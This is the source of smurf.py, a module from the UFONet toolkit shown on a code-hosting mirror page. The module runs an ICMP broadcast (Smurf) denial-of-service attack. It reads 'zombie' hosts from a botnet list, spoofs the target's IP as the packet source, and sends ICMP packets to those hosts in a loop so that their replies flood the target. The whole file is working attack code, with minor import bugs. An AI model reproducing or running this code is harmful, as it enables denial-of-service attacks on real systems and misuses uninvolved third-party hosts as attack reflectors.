Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
epsylon
GitHub Repository: epsylon/ufonet
Path: blob/master/core/mods/smurf.py
1208 views
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-"
3
"""
4
This file is part of the UFONet project, https://ufonet.03c8.net
5
6
Copyright (c) 2013/2024 | psy <[email protected]>
7
8
You should have received a copy of the GNU General Public License along
9
with UFONet; if not, write to the Free Software Foundation, Inc., 51
10
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
11
"""
12
import sys, random, socket
13
import urllib.parse
14
try:
15
from scapy import *
16
except:
17
print("\nError importing: scapy lib.\n")
18
sys.exit(2)
19
20
# UFONet ICMP broadcast attack (SMURF)
21
def randInt():
22
x = random.randint(1,65535) # TCP ports
23
return x
24
25
def sIP(base_stations): # extract 'base stations'
26
bs = {}
27
s_zombie = random.choice(base_stations).strip() # shuffle 'base stations'
28
if not s_zombie in bs:
29
url = urllib.parse.urlparse(s_zombie)
30
try:
31
s_zombie_ip = socket.gethostbyname(url.netloc)
32
bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
33
except:
34
try:
35
import dns.resolver
36
r = dns.resolver.Resolver()
37
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
38
a = r.query(url.netloc, "A") # A record
39
for rd in a:
40
s_zombie_ip = str(rd)
41
bs[s_zombie] = s_zombie_ip # add to dict of resolved domains
42
except:
43
s_zombie_ip = s_zombie
44
else:
45
s_zombie_ip = bs.get(s_zombie)
46
return s_zombie_ip
47
48
def smurfize(ip, sport, rounds):
49
f = open('botnet/zombies.txt') # use 'zombies' as 'base stations'
50
base_stations = f.readlines()
51
base_stations = [ base_station.replace('\n','') for base_station in base_stations ]
52
f.close()
53
n=0
54
try:
55
for x in range (0,int(rounds)):
56
n=n+1
57
s_zombie_ip = sIP(base_stations)
58
if s_zombie_ip == None: # not any 'base stations' available
59
print("[Error] [AI] [SMURF] Imposible to retrieve 'base stations' -> [Aborting!]\n")
60
break
61
IP_p = IP()
62
try:
63
IP_p.src = ip # ICMP 'broadcast' package carring fraudulent (spoofed) source IP belonging to target (aka SMURF attack)
64
except:
65
print("[Error] [AI] [SMURF] Imposible to resolve IP from target! -> [Aborting!]\n")
66
break
67
try:
68
IP_p.dst = s_zombie_ip
69
except:
70
print("[Error] [AI] [SMURF] Imposible to resolve IP from 'base station' -> [Aborting!]\n")
71
break
72
try:
73
send(IP_p/ICMP(), verbose=0)
74
print("[Info] [AI] [SMURF] Redirecting 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"] -> [RE-FLUXING!]")
75
time.sleep(1) # sleep time required for balanced sucess
76
except:
77
print("[Error] [AI] [SMURF] Failed to redirect 'base station' ["+str(n)+"] ["+str(s_zombie_ip)+"]")
78
except:
79
print("[Error] [AI] [SMURF] Failing to engage... -> Is still target online? -> [Checking!]")
80
81
class SMURF(object):
82
def attacking(self, target, rounds):
83
print("[Info] [AI] ICMP Broadcast (SMURF) is redirecting: [" , rounds, "base stations ]")
84
if target.startswith('http://'):
85
target = target.replace('http://','')
86
sport = 80
87
elif target.startswith('https://'):
88
target = target.replace('https://','')
89
sport = 443
90
try:
91
ip = socket.gethostbyname(target)
92
except:
93
try:
94
import dns.resolver
95
r = dns.resolver.Resolver()
96
r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
97
url = urlparse(target)
98
a = r.query(url.netloc, "A") # A record
99
for rd in a:
100
ip = str(rd)
101
except:
102
ip = target
103
if ip == "127.0.0.1" or ip == "localhost":
104
print("[Info] [AI] [SMURF] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
105
return
106
smurfize(ip, sport, rounds) # attack with SMURF using threading
107
108